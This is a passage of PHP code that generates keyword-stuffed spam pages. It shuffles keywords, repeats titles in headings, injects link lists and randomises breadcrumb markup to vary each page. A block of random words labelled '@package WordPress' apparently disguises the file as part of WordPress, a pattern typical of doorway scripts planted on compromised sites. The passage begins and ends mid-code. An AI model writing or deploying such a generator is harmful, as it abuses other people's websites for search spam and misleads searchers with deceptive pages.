$catArr = $catArrII;
$mateStr = $temparrI[1];
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = trim($temparrII[0]);
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = trim($temparrII[1]);
if(!$pdescription){
$falgMateDes=1;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
if(count($nowMateAddArr)){
foreach($nowMateAddArr as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$falgMateDes=1;
}
}else{
$catArr = array();
if(strstr($mateStr,'#keydescription#')){
$temparrII = explode('#keydescription#',$mateStr);
$pkeyword = $temparrII[0];
if(!$pkeyword){
$pkeyword = $Ptitle;
}else{
$keyArr = explode(',',$pkeyword);
$num = count($keyArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $keyArr[$i];
}else{
$arrPre[] = $keyArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
$pkeyword = implode(',',$arrPre);
$pkeywordYuanShi = $pkeyword;
}
$pdescription = trim($temparrII[1]);
if(!$pdescription){
$falgMateDes=1;
}else{
$DesArr = explode(',',$pdescription);
$num = count($DesArr);
$yushu = KEYJG % $num;
$arrPre = array();
$arrLast = array();
for($i=0;$i<$num;$i++){
if($i<$yushu){
$arrLast[] = $DesArr[$i];
}else{
$arrPre[] = $DesArr[$i];
}
}
if(count($arrLast)){
foreach($arrLast as $vs){
$arrPre[] = $vs;
}
}
if(count($nowMateAddArr)){
foreach($nowMateAddArr as $vs){
$arrPre[] = $vs;
}
}
$pdescription = implode(',',$arrPre);
$pDescriptionYuanShi = $pdescription;
}
}else{
$pkeyword = $Ptitle;
$falgMateDes=1;
}
}
if($falgMateDes){
$desPosition = (KEYJG + $id23) % 6;
if($desPosition == 0)
$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
elseif($desPosition == 1)
$pdescription = $nowMateAddArr[1] .' '. $Ptitle .' '. $nowMateAddArr[0];
elseif($desPosition == 2)
$pdescription = $Ptitle .' '. $nowMateAddArr[0] .' '. $nowMateAddArr[1];
elseif($desPosition == 3)
$pdescription = $nowMateAddArr[1] .' '. $nowMateAddArr[0] .' '. $Ptitle;
elseif($desPosition == 4)
$pdescription = $nowMateAddArr[0] .' '. $Ptitle .' '. $nowMateAddArr[1];
elseif($desPosition == 5)
$pdescription = $nowMateAddArr[0] .' '. $nowMateAddArr[1] .' '. $Ptitle;
}
$tpKeyStrCat = -1;
$BreadStr = getBreadcrum($Ptitle,$catArr,$id23,$PtitleNowid);
if(count($catArr)){
$endCatName = end($catArr);
$beginCatName = $catArr[0];
$addKeyWordStr = ', ' . implode(', ', $catArr);
}else{
$beginCatName = '';
$endCatName = '';
}
if(function_exists("preg_split")){
$PtitleArr = preg_split('/\s+/us', $Ptitle);
}else{
$PtitleArr = explode(' ', $Ptitle);
}
$tpTitleArr = array();
foreach($PtitleArr as $vs){
$vs = trim($vs);
if($vs){
$tpTitleArr[] = $vs;
}
}
$numTitleArr = count($tpTitleArr);
$randTkeyI = RANDNUMI % $numTitleArr;
$createTitleI = getRandStrArr($tpTitleArr,$randTkeyI);
$randTkeyII = RANDNUMII % $numTitleArr;
if($randTkeyI == $randTkeyII){
$randTkeyII = abs($randTkeyI-2);
}
$createTitleII = getRandStrArr($tpTitleArr,$randTkeyII);
$addTopStr = '';
$addTopStr .= "<h1>{$Ptitle}</h1>".PHP_EOL;
$addTopStr .= $BreadStr.PHP_EOL;
$addStrII = '';
$addStrII .= '<p>';
$addStrII .= '###nowtitles###,';
$addStrII .= $createTitleI .',';
$addStrII .= $pdescription.' ';
$addStrII .= $createTitleII . ' '. $thisdom .'.</p>';
$addStrII .= "<h2>{$Ptitle}</h2>";
if(isset($InFoStrArr['nowPimgArr'])){
$tpImgArr = unserialize($InFoStrArr['nowPimgArr']);
foreach($tpImgArr as $tpimg){
$addStrII .= $tpimg."<br/>".PHP_EOL;
}
}
$addTopStr .= $addStrII;
$tpaddstr = '';
$tpaddstr .= "<h1>{$Ptitle}</h1>".PHP_EOL;
if(isset($InFoStrArr['pdes'])){
$InFoStrArr['pdes'] = preg_replace('#\s+#si',' ',$InFoStrArr['pdes']);
$tpaddstr .= '<p>'.$InFoStrArr['pdes']."</p>".PHP_EOL;
}
if(isset($InFoStrArr['nowPimgArrYs'])){
$tpImgArr = unserialize($InFoStrArr['nowPimgArrYs']);
foreach($tpImgArr as $tpimg){
$tpaddstr .= $tpimg."<br/>".PHP_EOL;
}
}
$arrFlinks = array();
$fr1Strs = '<ul>'.PHP_EOL;
foreach($fr1Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr1Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
$arrFlinks[] = '<a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a>';
}
$fr1Strs .= '</ul>'.PHP_EOL;
if(isset($fr2Arr)){
$fr2Strs = '<ul>'.PHP_EOL;
foreach($fr2Arr as $key=>$vs){
$tpPid = $key;
$tpFlink = getalink($tpPid,$vs);
if(strstr($vs,'#cat#')){
$tp_name_arr = explode('#cat#',$vs);
$vs = $tp_name_arr[1];
}
$fr2Strs .= '<li><a title="'.$vs.'" href="'.$tpFlink.'">'.$vs.'</a></li>'.PHP_EOL;
}
$fr2Strs .= '</ul>'.PHP_EOL;
}
$addPdesStrII = '';
$addPdesStrII .= "<h3>{$Ptitle}</h3>".PHP_EOL;
$addStrDes1 = '';
if(isset($InFoStrArr['nowDesNameArrStr'])){
$Random = (KEYJG + $id23) % 3 + 3;
$tpDesNameArr = unserialize($InFoStrArr['nowDesNameArrStr']);
$lenthNameArr = count($tpDesNameArr);
$lenthFlinkArr = $Random;
$numShan = intval($lenthNameArr/$lenthFlinkArr);
if($numShan < 1)
$numShan = 1;
$flag = 0;
$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
$shengyu = $shengyu - 2;
$bgnum = 0;
$endnum = $lenthNameArr - 1;
$arrKeyNum = array();
while($shengyu > 0){
$arrKeyNum[$bgnum++] = $numShan + 1;
$shengyu--;
if($shengyu > 0){
$arrKeyNum[$endnum--] = $numShan + 1;
}
$shengyu--;
}
$nowTempFlag = 0;
$nowTempNumFlag = 0;
$tempDesNameArr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
if($nowTempNumFlag < $nowLens){
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag++;
}else{
$tempDesNameArr[] = "<b>{$Ptitle}</b>";
$nowTempFlag++;
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag=1;
}
}
while($nowTempFlag <= $lenthFlinkArr-1){
$nowTempFlag++;
$tempDesNameArr[] = "<b>{$Ptitle}</b>";
}
$tpDesNameArr = $tempDesNameArr;
$tempArrLen = count($tpDesNameArr) - 1;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDes1 .= $tpdesVs . '.';
// echo $addStrDes1;
// exit;
}else{
$addStrDes1 .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDes1 = '<p>'.$addStrDes1.'</p>'.PHP_EOL;
}
$addPdesStrII .= $addStrDes1.PHP_EOL;
$addPdesStr = '';
$addStrDesII = '';
if(isset($InFoStrArr['fpNameStr'])){
$Random = (KEYJG + $id23) % 2 == 0 ? 3 : 2 ;
$tpDesNameArr = unserialize($InFoStrArr['fpNameStr']);
$tempArrLen = count($tpDesNameArr) - 1;
$temp_arr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
if(strstr($tpdesVs,'#cat#')){
$tp_name_arr = explode('#cat#',$tpdesVs);
$tpdesVs = $tp_name_arr[1];
}
$temp_arr[$tpdesKey] = $tpdesVs;
}
$tpDesNameArr = $temp_arr;
$lenthNameArr = count($tpDesNameArr);
$lenthFlinkArr = $Random;
$numShan = intval($lenthNameArr/$lenthFlinkArr);
if($numShan < 1)
$numShan = 1;
$flag = 0;
$shengyu = $lenthNameArr - $lenthFlinkArr * $numShan;
$shengyu = $shengyu - 2;
$bgnum = 0;
$endnum = $lenthNameArr - 1;
$arrKeyNum = array();
while($shengyu > 0){
$arrKeyNum[$bgnum++] = $numShan + 1;
$shengyu--;
if($shengyu > 0){
$arrKeyNum[$endnum--] = $numShan + 1;
}
$shengyu--;
}
$nowTempFlag = 0;
$nowTempNumFlag = 0;
$tempDesNameArr = array();
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$nowLens = isset($arrKeyNum[$nowTempFlag]) ? $arrKeyNum[$nowTempFlag] : $numShan;
if($nowTempNumFlag < $nowLens){
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag++;
}else{
// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
$nowTempFlag++;
$tempDesNameArr[] = $tpdesVs;
$nowTempNumFlag=1;
}
}
while($nowTempFlag <= $lenthFlinkArr-1){
$nowTempFlag++;
// $tempDesNameArr[] = "<b>{$Ptitle}</b>";
}
$tpDesNameArr = $tempDesNameArr;
$i=0;
foreach($tpDesNameArr as $tpdesKey=>$tpdesVs){
$tempLen = strlen($tpdesVs) + $i;
if($tempLen % 2 == 1){
$nowtempfh = ', ';
}else
$nowtempfh = '. ';
if($i == $tempArrLen){
$addStrDesII .= $tpdesVs . '.';
}else{
$addStrDesII .= $tpdesVs . $nowtempfh;
}
$i++;
}
$addStrDesII = '<p>'.$addStrDesII.'</p>'.PHP_EOL;
}
$addPdesStr .= "<h2>{$Ptitle}</h2>".PHP_EOL;
$addPdesStr .= $addStrDesII.PHP_EOL;
$addH3Str = "<h3>{$Ptitle}</h3>";
$thisPnameLink = '<a href="">'.$nowIdName.'</a>';
$thisPnameLink2 = '<a title="'.$nowIdName.'" href="">'.$nowIdName.'</a>';
$thisTitleLink = '<a title="'.$Ptitle.'" href="">'.$Ptitle.'</a>';
$flagH2I = 1;
$flagH2II = 1;
$flagH2III = 1;
$fileMb = fopen("template.html","r");
$html = fread($fileMb,filesize("template.html"));
$numBz = 0;
$titleKeys = KEYJG % 6;
$catUseKey = (KEYJG + $id23) % count($catArr);
$catUseKeyTwo = ((KEYJG+1) * $id23) % count($catArr);
if($catUseKey == $catUseKeyTwo)
$catUseKeyTwo = ($catUseKeyTwo + 1) % count($catArr);
if(preg_match('#.*\.(.*)\..*#i',$thisdom))
$usdomStr = preg_replace('#.*\.(.*)\..*#i','\1',$thisdom);
else
$usdomStr = preg_replace('#(.*)\..*#i','\1',$thisdom);
$titlePosition = (KEYJG + $id23) % 2;
if($titlePosition == 0)
$nowShowTitle = $Ptitle .' '. $catArr[$catUseKeyTwo] .' '. $catArr[$catUseKey].' '.$thisdom ;
elseif($titlePosition == 1)
$nowShowTitle = $Ptitle .' '. $catArr[$catUseKey] .' '. $catArr[$catUseKeyTwo].' '.$thisdom ;
$addTopStr = str_replace('###nowtitles###',$Ptitle ,$addTopStr);
$tpaddstr = str_replace('###nowtitles###',$Ptitle,$tpaddstr);
$html = str_ireplace('draft_or_post_title', $nowShowTitle, $html);
$html = str_ireplace('#bbbkeybbb#', $pkeyword . $addKeyWordStr, $html);
$html = str_ireplace('#bbbdesbbb#', $pdescription, $html);
$html = str_ireplace('#bbb1content1bbb#', $addTopStr, $html);
// $html = str_ireplace('#bbb2content2bbb#', $artArr[1], $html);
$tempStr = $addPdesStrII;
$addPdesStrII = $addPdesStr."<br/>". PHP_EOL . $fr1Strs;;
$addPdesStr = $tempStr;
if(strstr($html,'#link3#'))
if($flagH2I){
$html = str_replace('#link3#',$addPdesStrII ,$html);
$flagH2I = 0;
}else{
$html = str_replace('#link3#','',$html);
}
if(strstr($html,'#flink#'))
if($flagH2I){
$html = str_replace('#flink#',$addPdesStrII ,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#flink#',$addPdesStr, $html);
$flagH2II = 0;
}else{
$html = str_replace('#flink#','',$html);
}
if(strstr($html,'#link4#'))
if($flagH2I){
$html = str_replace('#link4#',$addPdesStrII ,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link4#',$addPdesStr, $html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#link4#','',$html);
$flagH2III = 0;
}else{
$html = str_replace('#link4#','',$html);
}
if(strstr($html,'#link5#'))
if($flagH2I){
$html = str_replace('#link5#',$addPdesStrII ,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#link5#',$addPdesStr, $html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#link5#','',$html);
$flagH2III = 0;
}else{
$html = str_replace('#link5#','',$html);
}
if(strstr($html,'#Flink2#'))
if($flagH2I){
$html = str_replace('#Flink2#',$addPdesStrII ,$html);
$flagH2I = 0;
}elseif($flagH2II){
$html = str_replace('#Flink2#',$addPdesStr, $html);
$flagH2II = 0;
}elseif($flagH2III){
$html = str_replace('#Flink2#','',$html);
$flagH2III = 0;
}else{
$html = str_replace('#Flink2#','',$html);
}
$lastAddStrs = '';
if($flagH2I){
$lastAddStrs .= $addPdesStrII . PHP_EOL;
}
if($flagH2II){
$lastAddStrs .= $addPdesStr. PHP_EOL;
}
if($lastAddStrs){
$tpaddstr = $tpaddstr .PHP_EOL . $lastAddStrs;
}
$html = str_ireplace('#bbb2content2bbb#', '', $html);
$html = str_ireplace('#descontent#', $tpaddstr, $html);
$html = str_replace('#link1#','',$html);
$html = str_replace('#link2#','',$html);
$footKey = "<h3>{$Ptitle}</h3>". PHP_EOL ."<br/>{$pdescription}".PHP_EOL;
$html = str_replace('</body',$footKey.'</body',$html);
echo $html;
die();
/**
* burden career decline drip excess leak molecule motive navigation notion pants partial sophisticated talent.
* casual delicate descend expansion mature modify particle remedy vote waist.
* comparable exceedingly harmony knot mixture resistant vehicle.
* audio coil data export extraordinary gallery giant legislation oblige obscure poverty promote ridid semiconductor.
* absolute abuse applicable appreciate audio avenue drift explore gasoline guarantee inferior interpret interpretation joint manual mist removal torture vote.
* accomplish applause available balcony dispose equivalent excess extraordinary integrate liquor merchant precaution recruit register remarkable sake seminar signature survey universe vote.
* decline entertainment leap molecule professional route shelter valley variation vary.
* architecture available continual geometry harmony hook nucleus optimistic slender spot witness.
* adopt advertise avenue balcony budget candidate comedy dispose distribute essential facility fatigue giant holy interpret leap motivate oxygen personnel poverty racial shuttle splendid trial.
* Internet accelerate authority display exceed inferior insignificant naked nuisance poverty restrict transplant vessel yawn.
* academic expel gallery golf issue medium oblige optics region religious stripe violet virus.
* catalog emphasize enclose evolve garbage herd humble knot legislation luxury presumably principal profit sophisticated splendid stripe subway swallow volume.
* available extinct fertilizer ingredient liquor obstacle offend prevail satellite.
* abuse distress glory invade licence prevail prior provision recreation target utilise vain wealthy.
* adult algebra approve bunch decline gear hardware leak lynar media presumably shift substantial tense terror welfare.
* academy attitude cargo constant mature nevertheless nucleus remarkable scale stimulate submerge temple vague weave.
* breed bureau flee flexible illegal optimistic passion skim tender.
* appoint collision deposit discount knot leak omit passport reinforce removal shuttle spot undergraduate.
* accelerate accomplish cargo coarse collision consistent deserve expansion joint mild partial preserve racial reinforce religious reputation shield shift simplify tend wander welfare witness.
* abundant apparent appoint attitude burst derive deserve disturb expenditure extinct flee forbid glimpse incident infant parallel priority private relevant rescue satellite tender undertake weld.
* aspect bargain barrel blast coarse consistent deposit discipline distress garbage invade loosen minimum odd retain torture.
* abundant orbit poverty prohibit pursue reveal tend transmit.
* advertise alter bacteria chaos code consent deposit equivalent estimate expel horror identify interpret isolate mainland mere outset personal quotation retail volcano withstand.
* comment estimate gratitude infer male moisture parallel weld yield.
* deputy essential explosive merchant obscure orbit orchestra revenue tarnest.
* boundary jealous slippery tremendous.
* adhere deserve discrimination dump estimate exclaim sorrow stale substance the tone trap valid virus wagon.
* arise aware blast burst entertainment focus genuine liberal prevail resistant variation virtual volunteer.
* adhere cargo mere passport regulate trap.
* accomplish adapt appeal applianc coach dump expand guilty jealous laser opportunity range revenue ruin sketch territory universe volcano welfare.
* battery delicate devise discrimination fertilizer holy offend orient register relevant ridiculous rival twist utilify.
* appetite applianc arbitrary code consistent durable facility garbage holy junior modify recruit register ridiculous security significance solar sorrow spot urban vitally wealthy.
* abundant competition delicate descend devise flee hostile individual insurance negative numerrous offend orbit pat peak personnel portable reject restraint spot survey variable withstand.
* expensive scandal semiconductor thrust victim.
* arichmetic commit conservation flexible global infinite ingredient inhabitant neglect professional satellite temporary.
*
* @package WordPress
*/
function getRandStrArr($tpArr=array(),$bgKey=0){
$returnStr = '';
$numArr = count($tpArr);
for($i=$bgKey+1;$i<$numArr;$i++){
$returnStr .= $tpArr[$i].' ';
}
for($i=0;$i<=$bgKey;$i++){
$returnStr .= $tpArr[$i].' ';
}
return trim($returnStr);
}
function getBreadcrum($Ptitle,$catArr,$id23,$pname){
global $arrBread,$thisdom;
$breadTagkey = KEYJG % 6;
if($breadTagkey == 0){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ul';
}elseif($breadTagkey == 1){
$breadTagHtml1 = 'nav';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 2){
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 3){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ol';
}elseif($breadTagkey == 4){
$breadTagHtml1 = 'section';
$breadTagHtml2 = 'ul';
}else{
$breadTagHtml1 = 'div';
$breadTagHtml2 = 'ul';
}
// $catstr = implode(' >> ',$catArr);
$catArr= array();
// if($catstr)
// $catArr[] = $catstr;
$arrBreadNum = count($arrBread);
$domlen = strlen($thisdom);
$breadTagkey = $domlen % 5;
$liClassYs = KEYJG % 19;
if($liClassYs == 0){
$liStr = ' class="item"';
}elseif($liClassYs == 1){
$liStr = ' class="breadcrumbs-item"';
}elseif($liClassYs == 2){
$liStr = ' class="nz-breadcrumb-item"';
}elseif($liClassYs == 3){
$liStr = ' class="items"';
}elseif($liClassYs == 4){
$liStr = ' class="breadcrumblist-items"';
}elseif($liClassYs == 5){
$liStr = ' class="el-breadcrumb-item"';
}elseif($liClassYs == 6){
$liStr = ' class="doc-crumb-item"';
}elseif($liClassYs == 7){
$liStr = ' class="breadcrumb-item"';
}elseif($liClassYs == 8){
$liStr = ' class="crumbs-item"';
}elseif($liClassYs == 9){
$liStr = ' class="bread-item"';
}elseif($liClassYs == 10){
$liStr = ' class="breads-item"';
}elseif($liClassYs == 11){
$liStr = ' class="breadcrumbItem"';
}elseif($liClassYs == 12){
$liStr = ' class="breadcrumbItems"';
}elseif($liClassYs == 13){
$liStr = ' class="breadcrumblistitems"';
}elseif($liClassYs == 14){
$liStr = ' class="BreadcrumbItem"';
}elseif($liClassYs == 15){
$liStr = ' class="ListItem"';
}elseif($liClassYs == 16){
$liStr = ' class="crumb-items"';
}else{
$liStr = '';
}
$arrBreadId = array();
$arrBreadId[] = 'Bread';
$arrBreadId[] = 'BreadHead';
$arrBreadId[] = 'Breadcrumb';
$arrBreadId[] = 'Breadcrumb-Head';
$arrBreadId[] = 'Breadcrumb-Heads';
$arrBreadId[] = 'Breadcrumb-Top';
$arrBreadId[] = 'BreadcrumbHeads';
$arrBreadId[] = 'BreadcrumbLists';
$arrBreadId[] = 'BreadcrumbNavigation';
$arrBreadId[] = 'BreadcrumbTop';
$arrBreadId[] = 'BreadcrumbTops';
$arrBreadId[] = 'MyBreadcrumb';
$arrBreadId[] = 'ant-breadcrumb';
$arrBreadId[] = 'bread-List';
$arrBreadId[] = 'breadtop';
$arrBreadId[] = 'breadtops';
$arrBreadId[] = 'breadHead';
$arrBreadId[] = 'breadHeads';
$arrBreadId[] = 'breadList';
$arrBreadId[] = 'breadLists';
$arrBreadId[] = 'breadcrumb';
$arrBreadId[] = 'c-breadcrumb';
$arrBreadId[] = 'crumbList';
$arrBreadId[] = 'crumb-list';
$arrBreadId[] = 'crumbs';
$arrBreadId[] = 'crumbsHead';
$arrBreadId[] = 'crumbsHeads';
$arrBreadId[] = 'crumbs-head';
$arrBreadId[] = 'crumbs-nag';
$arrBreadId[] = 'crumbsTop';
$arrBreadId[] = 'crumbsTops';
$arrBreadId[] = 'crumbs-top';
$arrBreadId[] = 'cs-breadcrumb';
$arrBreadId[] = 'customBreadcrumb';
$arrBreadId[] = 'doc-crumb';
$arrBreadId[] = 'el-breadcrumb';
$arrBreadId[] = 'l-breadcrumb';
$arrBreadId[] = 'navBreadCrumb';
$arrBreadId[] = 'navBreadCrumbs';
$arrBreadId[] = 'page-breadcrumbs';
$arrBreadId[] = 'pages-breadcrumbs';
$arrBreadId[] = 's-breadcrumb';
$arrBreadId[] = 'v-breadcrumb';
$arrBreadId[] = 'chrome-breadcrumbs';
$keyBreadId = KEYJG % 48;
if(isset($arrBreadId[$keyBreadId])){
$keyBreadIdStr = ' id="'.$arrBreadId[$keyBreadId].'"';
}else{
$keyBreadIdStr = '';
}
$strBreads = '';
if($breadTagkey == 4){
$arrBreadC1 = array();
$arrBreadC1[] = 'BreadcrumbData';
$arrBreadC1[] = 'BreadcrumbDatas';
$arrBreadC1[] = 'BreadcrumbTop';
$arrBreadC1[] = 'crumbsHead';
$arrBreadC1[] = 'crumbsTop';
$arrBreadC1[] = 'crumbsList';
$arrBreadC1[] = 'crumbs-top';
$arrBreadC1[] = 'crumbs-list';
$arrBreadC1[] = 'crumbs-Head';
$arrBreadC1[] = 'BreadcrumbTag';
$arrBreadC1[] = 'Breadcrumb-tag';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'BreadcrumbBody';
$arrBreadC1[] = 'Breadcrumb-Top';
$arrBreadC1[] = 'Breadcrumb-body';
$arrBreadC1[] = 'BreadcrumbTops';
$arrBreadC1[] = 'Breadcrumb-Head';
$arrBreadC1[] = 'Breadcrumb-Heads';
$arrBreadC1[] = 'Breadcrumb-List';
$arrBreadC1[] = 'BreadcrumbList';
$arrBreadC1[] = 'BreadcrumbLists';
$ckeyI = KEYJG % count($arrBreadC1);
$classI = $arrBreadC1[$ckeyI];
$classII = $domlen % 2 ? 'Breadcrumbs' : 'Breadcrumb';
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classI.'">';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classII.'">';
$strBreads .= '<li'.$liStr.'><a href="/">Home</a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.'><a href="'.$nowCatUrl.'">'.$vs.'</a></li>';
}
}
$nowUrl = getalink($id23,$pname);
$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
$calssBreadKey = KEYJG % $arrBreadNum;
$classTop = $arrBread[$calssBreadKey];
$classul = KEYJG % 2 ? 'Breadcrumb' : 'breadcrumbs';
$breadTagkey = $domlen % 2;
if($breadTagkey == 0){
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="/"><span itemprop="name">Home</span></a><meta itemprop="position" content="1" /></li>';
$flagNum = 2;
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a itemprop="item" href="'.$nowCatUrl.'"><span itemprop="name">'.$vs.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$flagNum++;
}
}
$nowUrl = getalink($id23,$pname);
// $strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
$strBreads .= '<li'.$liStr.' itemprop="itemListElement" itemscope itemtype="http://schema.org/ListItem"><a href="'.$nowUrl.'"><span itemprop="name">'.$Ptitle.'</span></a><meta itemprop="position" content="'.$flagNum.'" /></li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}else{
if($classTop)
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.' class="'.$classTop.'">';
else
$strBreads .= '<'.$breadTagHtml1.$keyBreadIdStr.'>';
$strBreads .= '<'.$breadTagHtml2.' class="'.$classul.'" itemscope itemtype="http://schema.org/BreadcrumbList">';
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="/" itemprop="url"><span itemprop="title">Home</span></a></li>';
if(count($catArr)){
foreach($catArr as $vs){
$vs = trim($vs);
$nowCatUrl = getCatLink($vs,$id23);
$strBreads .= '<li'.$liStr.' itemscope itemtype="http://data-vocabulary.org/Breadcrumb"><a href="'.$nowCatUrl.'" itemprop="url"><span itemprop="title">'.$vs.'</span></a></li>';
}
}
$nowUrl = getalink($id23,$pname);
$strBreads .= '<li'.$liStr.'><a href="'.$nowUrl.'">'.$Ptitle.'</a></li>';
// $strBreads .= '<li'.$liStr.'>'.$Ptitle.'</li>';
$strBreads .= '</'.$breadTagHtml2.'>';
$strBreads .= '</'.$breadTagHtml1.'>';
}
}
return $strBreads;
}
function get_scheme(){
if ( (isset($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (isset($_SERVER['HTTP_CF_VISITOR']) && strstr($_SERVER['HTTP_CF_VISITOR'],'https')) || (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443') ) {
$httpPre= 'https';
} else {
$httpPre = 'http';
}
return $httpPre;
}
function get_shares(){
$siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
$shareStr = '
<ul>
<li><a href="https://www.facebook.com/sharer/sharer.php?u=domain" target="_blank"><span>facebook</span></a></li>
<li><a href="https://twitter.com/share?url=domain" target="_blank"><span>twitter</span></a></li>
<li><a href="https://www.linkedin.com/shareArticle?mini=true&url=domain" target="_blank"><span>linkedin</span></a></li>
<li><a href="https://pinterest.com/pin/create/button/?url=domain" target="_blank"><span>pinterest</span></a></li>
</ul>
';
$shareStr = str_replace('domain',$siteLink,$shareStr);
return $shareStr;
}
function getCatLink($CatName,$id23){
global $arrnametime,$arrKeywz,$date_string;
$filePres = ''; $fileEnds = ''; $siteLink= get_scheme() .'://'.$_SERVER['HTTP_HOST'];
$dirNames = dirname(__FILE__); $httcReplace = end((explode(DIRECTORY_SEPARATOR, $dirNames)));
if(JDT == 2){
$filePres = $siteLink ."/". $httcReplace . "/" . basename(__FILE__) . "/"; }elseif(JDT == 1){
$filePres = $siteLink ."/". $httcReplace . "/"; }elseif(JDT == 3){
$filePres = $siteLink ."/". $httcReplace . "/" .basename(__FILE__) . "?cat="; }else{
$filePres = $siteLink."/"; }
$CatName = str_replace('&',' ',$CatName);
$CatName = str_replace('&',' ',$CatName);
if(JDT == 3){
$CatName = preg_replace('#\s+#i','-',$CatName);
while(strstr($CatName,'--'))
$CatName = str_replace('--','-',$CatName);
$urlMid = $CatName;
$rtStr = $filePres.$urlMid;
$rtStr = str_replace($filePres.'-',$filePres,$rtStr);
return $rtStr;
}
// BZCAT
global $tpKeyStrCat;
$endNumber = '';
$tpNum = KEYJG * $id23;
$tpKey = $tpNum % count($date_string);
$lenStr = strlen($date_string[$tpKey]);
if($tpKeyStrCat == -1)
$tpKeyStrCat = (KEYJG + $pid) % $lenStr;
$tpstr = $date_string[$tpKey];
$randStr = '';
$arrNum = array();
for($i = 0; $i < $lenStr; $i++){
$vs = $tpstr{$tpKeyStrCat};
$int_vs = ord($vs);
if($int_vs >= 100 and $int_vs <= 119){
$arrNum[] = $int_vs % 10;
if(count($arrNum) >= 3){
break;
}
}
$tpKeyStrCat = ($tpKeyStrCat + 1) % $lenStr;
}
$catNum = implode('',$arrNum);
